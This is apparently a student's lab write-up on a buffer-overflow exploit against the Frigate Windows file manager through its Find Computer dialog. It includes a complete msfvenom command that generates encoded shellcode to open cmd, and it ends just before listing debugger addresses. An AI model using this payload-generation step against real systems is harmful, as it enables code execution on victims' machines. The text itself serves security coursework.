**S.V.SAIVAMSI,19BCN7258**

The vulnerability resides in the find computer i.e., Disk -> Find Computer and give the payload
that has been generated using the exploit2.py.

We changed the default trigger to crash and open the command prompt.
msfvenom -a x86 --platform windows -p windows/exec CMD=cmd -ex86/alpha_mix-b
"\x00\x14\x09\x0a\x0d" -f python

We are using immunity debugger to know the changes in the frigate application
the addresses
are as follows.
